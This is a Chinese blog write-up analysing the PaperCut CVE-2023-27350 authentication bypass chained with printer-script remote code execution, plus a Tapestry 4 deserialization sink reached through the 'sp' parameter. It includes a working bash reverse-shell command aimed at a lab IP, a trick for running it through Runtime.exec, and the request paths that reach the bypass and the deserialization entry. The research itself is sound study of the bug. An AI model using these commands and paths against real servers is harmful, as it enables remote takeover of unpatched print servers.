javascript引擎漏洞

CVE-2023-27350

  • 未授权+RCE组合拳

环境搭建

环境:ubuntu18.04+papercut22.0.5.63914

软件安装参考:https://www.papercut.com/help/manuals/ng-mf/common/install-linux/

IDEA debug mode调试环境搭建:

  1. ps -ef | grep papercut 查看 执行jar的命令语句

    image-20230510093533669
  2. /proc/{pid} & ls -ail查看exec,运行环境目录

    image-20230510093814800
  3. /home/papercut/server & find . -iname “*.conf” | xargs grep “Djava.locale.providers=COMPAT”

    image-20230510094447597
  4. app-monitor.conf添加上IDEA的debug调试配置,重启服务就完成了

  • 批量反编译jar

    • 反编译相关的jar包
    1. java-decompiler插件下载
    2. "C:\Program Files\Java\jdk-17\bin\java.exe" -cp "C:\Program Files\JetBrains\IntelliJ IDEA 2022.3.1\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true D:\java-audit\server\lib\*.jar D:\java-audit\server\lib_java\
  • 服务经常掉线的情况,看下有没有和服务器连接超时相关的配置,比如timeout啥的

漏洞复现

路由规则

  • 整个路由:反射调用的点,可能会出现框架

    image-20230510183325217
  1. 通过资料知道,路由的Servlet是tapestry的org.apache.tapestry.ApplicationServlet,匹配路径是/app

    image-20230510180002552
  2. tapestry3路由规则

    1
    2
    3
    4
    5
    在 Tapestry 3 中,路由规则是通过页面名称和参数来定义的。Tapestry 3 使用一种基于约定的 URL 映射方式来处理页面请求。
    以下是 Tapestry 3 的路由规则的基本原则:
    页面名称:每个 Tapestry 3 页面都有一个唯一的名称,通常与其对应的类名相同。例如,HomePage 类对应的页面名称是 "HomePage"。
    页面参数:可以在 URL 中传递参数给页面。参数可以是路径参数或查询参数。路径参数是指出现在 URL 路径中的参数,而查询参数是指出现在 URL 查询字符串中的参数。
    路由匹配:Tapestry 3 根据请求的 URL 和页面定义的名称和参数进行匹配。匹配成功后,相应的页面将被加载和渲染。
    image-20230510181527941
  3. WebEngine类(tapestry中用于处理请求和响应的类,在tapestry.applicaiton中绑定)中定义了解析请求参数中service字段的请求路径解析,通过获取相应service(例如PageService),之后的Dashboard根据网上的资料知道一般会有三个文件定义一个页面,.html,.page,.java(例如Dashboard.html,Dashboard.page,Dashboard.java),其中html和page的名字是相同的,漏洞定位在SetupCompleted类中,与Dashboard类一样继承了BasePage,它有相应的html、page和java,根据访问Dashboard的方式可以去构造service=page/SetupCompleted访问。

    image-20230511100158862 image-20230511102422979

未授权访问后台

  1. 漏洞定位的函数biz.papercut.pcng.web.setup.SetupCompleted#formSubmit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public void formSubmit(IRequestCycle cycle) {
    SetupData setupData = this.getSetupData();
    this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
    this.getAnalyticsConfigurationService().adminNotified();
    this.clearSetupData();
    Home homePage = (Home)cycle.getPage("Home");
    homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
    homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
    }

    setup安装完时的username为admin,然后重新访问SetupCompleted页面时,getSetupData的adminUserData无论是在重新构造还是之前的setupData都是admin,恰好满足performLogin的执行登录条件。

    image-20230511104117896

    而performLogin是在login的登录条件判断后才会执行,所以出现了在匿名用户成功执行登陆的情况。biz.papercut.pcng.web.pages.Home#login

    image-20230511104545531

    对比新版本如何修复的?

    image-20230512165947838
image-20230512171156991

开发漏洞

  • 打印机脚本RCE

    1. 点击打印机-脚本撰写-应用按钮

      通过uri可以定位跟踪到biz.papercut.pcng.web.components.PrinterDetailsScript#formSubmit:

      1. 检测是否开启脚本编写
      image-20230511121124374
      1. 检测是否关闭沙箱作用域检测

        image-20230511122713919

        其中init(safe)StandardObjects的scope用于定于javascript执行对象的作用域,safe中进行安全受限的作用域加载,而initStandardObjects额外加载了java访问的执行环境与js进行互操作,导致可以执行恶意代码。

        image-20230511122629664
    • 选项–配置编辑器 启用脚本编写和关闭沙箱作用域检测

      image-20230511113717073
    • 构建Runtime执行命令,在执行的过程中,发现构造复杂命令都会报解析异常或者重定向/管道符本身执行不成功,查了资料,是Runtime执行的过程中获取不到linux bash的上下文环境,而>> |都是bash下才能识别的,需要构造的语句中获取到上下文环境,$@获取bash -c输入的所有变量,0是定义的名称可以随便设定,bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1就相当于bash -c echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1|bash就能成功反弹shell。

      1. jackson runtime exec
      2. "/bin/bash@-c@bash -i >& /dev/tcp/192.168.227.1/8888 0>&1".split("@")
        • 经常会用的是ProcessBuilder
      image-20230512110552502 image-20230512110808226

总结

  1. 未授权:在用户登录验证后执行登录的函数,去找一下这些函数,是否有其他地方不合法的使用过。
  2. js环境下的沙箱scope作用域的配置是否正确。
  3. Runtime类的执行无法直接获取到linux bash|sh的上下文环境,可以通过$@|bash接收所有bash -c的变量后再执行。

参考链接

  1. https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
  2. https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
  3. Runtime获取bash上下文:https://www.anquanke.com/post/id/159554

tapestry4反序列化

环境搭建

  1. maven could not transfer artifact问题

    两个点:1>repository不存在,2>访问不了远程maven仓库,我这里是第二个问题

    修改maven的settings.xml:

    1
    2
    3
    4
    5
    6
    <mirror> 
    <id>alimaven</id>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
    <mirrorOf>central</mirrorOf>
    </mirror>
  2. 相关依赖 javax.servlet-api 3.1.0javax.servlet.jsp-api 2.3.3tapestry-framework 4.1.6jdk7

  3. web.xml 指定servlet及映射关系

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <servlet>
    <servlet-name>ApplicationServlet</servlet-name>
    <servlet-class>org.apache.tapestry.ApplicationServlet</servlet-class>
    </servlet>

    <servlet-mapping>
    <servlet-name>ApplicationServlet</servlet-name>
    <url-pattern>/app</url-pattern>
    </servlet-mapping>
  4. .html,.page,.java配置

    1. Home.html,webapp目录下,tapestry程序入口页面

      1
      <span  jwcid ="@Insert"  value ="ognl:demo"  />
    2. Home.page,WEB-INF目录下

      1
      2
      3
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE page-specification PUBLIC "-//Apache Software Foundation//Tapestry Specification 3.0//EN" "http://jakarta.apache.org/tapestry/dtd/Tapestry_3_0.dtd">
      <page-specification class ="cn.demo.page.Home"></page-specification>

      !必须加入DOCTYPE,代码里有相应检查,否则报空

    3. Home.class,位置没有要求

      1
      2
      3
      4
      5
      public abstract class Home extends BasePage {
      public String getDemo() {
      return "tapestry demo...";
      }
      }

      最后目录结构如下:

      image-20230512162242068

路由分析

  • 调用的栈:
image-20230516091508200
  1. sink点是org.apache.tapestry.util.io.SerializableAdaptor#unsqueeze

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public Object unsqueeze(DataSqueezer squeezer, String encoded) {
    char prefix = encoded.charAt(0);
    try {
    byte[] mimeData = encoded.substring(1).getBytes();
    byte[] decoded = Base64.decodeBase64(mimeData);
    InputStream is = new ByteArrayInputStream(decoded);
    if (prefix == 'Z') {
    is = new GZIPInputStream((InputStream)is);
    }
    InputStream is = new BufferedInputStream((InputStream)is);
    ObjectInputStream ois = new ResolvingObjectInputStream(this._resolver, is);
    Object result = ois.readObject();
    ois.close();

    条件spbase64的加密值要以Z开头。但需要满足GZIP的构造。

  2. org.apache.tapestry.util.io.DataSqueezerImpl#unsqueeze(java.lang.String):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object unsqueeze(String string) {
    SqueezeAdaptor adaptor = null;
    if (string.equals("X")) {
    return null;
    } else if (string.length() <= 0) {
    return null;
    } else {
    int offset = string.charAt(0) - 33;
    if (offset >= 0 && offset < this._adaptorByPrefix.length) {
    adaptor = this._adaptorByPrefix[offset];
    }

    return adaptor == null ? string : adaptor.unsqueeze(this, string);
    }
    }

    这里根据sp传入的首位字符选择相应的Adaptor,Z或者O

    image-20230516093142335
  3. 再回溯有关反序列化的条件就没有了,来到获取sp参数的函数org.apache.tapestry.services.impl.LinkFactoryImpl#extractListenerParameters:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public Object[] extractListenerParameters(IRequestCycle cycle) {
    String[] squeezed = cycle.getParameters("sp");
    if (Tapestry.size(squeezed) == 0) {
    return this._empty;
    } else {
    try {
    return this._dataSqueezer.unsqueeze(squeezed);
    } catch (Exception var4) {
    throw new ApplicationRuntimeException(var4);
    }
    }
    }
    image-20230516093552734

    有三个Service可以反序列化sp参数,以DirectService为例。

  4. 入口由tapestry.ApplicationServlet的service方法进入,调用到org.apache.tapestry.engine.AbstractEngine#service,并提取参数到cycle,调用service

    image-20230516094452086
  5. 进到DirectService后,在getLink方法中,把参数封装到了_linkFactory中:

    image-20230516094951250

    接着在service方法的过程中调用了org.apache.tapestry.services.LinkFactory#extractListenerParameters,获取sp并且进行反序列化。

    image-20230516095040408
  6. 通过资料分析,在html的jwcid属性中定义了组件类型,如果是匿名标签,例如jwcid=@form,则通过component=$form访问,可以构造component=$Form&page=Home&service=direct&sp=xxx

    image-20230516095623270

利用链思路

这里就是在满足上述反序列化条件下,因为没有CC的依赖,需要构造CB2的base64的字符串,再在sp参数前拼接上O

Author: Aizlm
Link: https://aizlm.github.io/2023/06/27/CVE-2023-27350/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.